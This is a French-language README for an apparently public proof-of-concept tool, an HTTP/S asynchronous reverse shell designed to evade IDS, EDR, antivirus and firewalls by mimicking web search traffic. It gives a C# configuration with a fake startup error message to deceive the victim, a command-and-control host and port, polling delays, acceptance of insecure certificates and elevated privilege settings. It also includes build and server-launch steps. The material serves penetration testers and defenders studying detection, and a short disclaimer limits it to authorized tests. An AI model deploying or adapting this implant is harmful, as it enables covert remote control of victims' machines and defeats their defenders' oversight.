
[POC] Asynchronous reverse shell using the HTTP protocol.

À une époque où les systèmes de détection avancés tels que IDS, IPS, EDR, AV et pare-feux dominent les réseaux d'entreprise, les contourner lors d'évaluations de sécurité offensive est un défi. La plupart des shells inversés utilisent des tunnels TCP (couche 4), qui sont désormais systématiquement analysés et signalés.
Ce projet présente une solution innovante : un shell inversé complètement asynchrone sur HTTP/S qui se fond dans le trafic web normal en imitant le comportement d'un utilisateur légitime.
Contrairement aux shells inversés traditionnels, il utilise uniquement des requêtes GET, apparaît comme des requêtes web normales et peut éventuellement fonctionner sur HTTPS avec un certificat légitime falsifié, minimisant ainsi les chances de détection.
Le client interroge le serveur jusqu'à obtenir des instructions.
L'attaquant fournit des instructions au serveur.
Lorsqu'une commande est définie, le client l'exécute et retourne le résultat.
Et ainsi de suite, jusqu'à ce que l'attaquant décide de mettre fin à la session.
Cet outil est uniquement destiné à être une démonstration de preuve de concept pour des tests de sécurité autorisés. Assurez-vous de vérifier les lois locales avant d'utiliser cet outil.
Aujourd'hui, en tant que POC, les fonctionnalités suivantes sont implémentées :
HARS.sln dans Visual Studio.Config.cs pour l'adapter à votre environnement : class Config
{
/* Comportement */
// Afficher un message d'erreur factice au démarrage
public static bool DisplayErrorMsg = true;
// Titre du message d'erreur factice
public static string ErrorMsgTitle = "This application could not be started.";
// Description du message d'erreur factice
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Délai minimal entre les appels du client
public static int MinDelay = 2;
// Délai maximal entre les appels du client
public static int MaxDelay = 5;
// URI factice demandée - Attention : doit commencer par "search" (ou nécessite une modification côté serveur)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Écouteur */
// Nom d'hôte/IP du serveur C&C
public static string Server = "https://127.0.0.1";
// Port d'écoute du serveur C&C
public static string Port = "443";
// Autoriser les certificats auto-signés ou "non sécurisés" - Attention : souvent nécessaire dans un environnement d'entreprise utilisant un proxy
public static bool AllowInsecureCertificate = true;
}
Optionnel : Modifiez HARS.manifest pour ajuster le niveau de privilège.
requestedExecutionLevelpeut être défini surasInvoker,highestAvailableourequireAdministrator.
Propriétés du projet
Vous pouvez ici personnaliser les informations de l'assembly et une icône pour le fichier.
Remarque : la version cible du framework .NET est 4.6, disponible par défaut dans Windows 10.
Pour Windows 7, choisissez .NET 3.5 si vous ne souhaitez pas avoir à installer des fonctionnalités manquantes.
Compilez le projet depuis Visual Studio.
Le client doit être généré dans le dossier Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release.
Terminé !
HARS_Server.py dans HARS_Server/www/ pour personnaliser le port ou le chemin du certificat.PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
-Les journaux HTTP se trouvent dans Http Asynchronous Reverse Shell\HARS_Server\logs\
-Vous pouvez ajouter vos propres modèles (n'importe quelle page HTML) dans Http Asynchronous Reverse Shell\HARS_Server\templates
@onSec-fr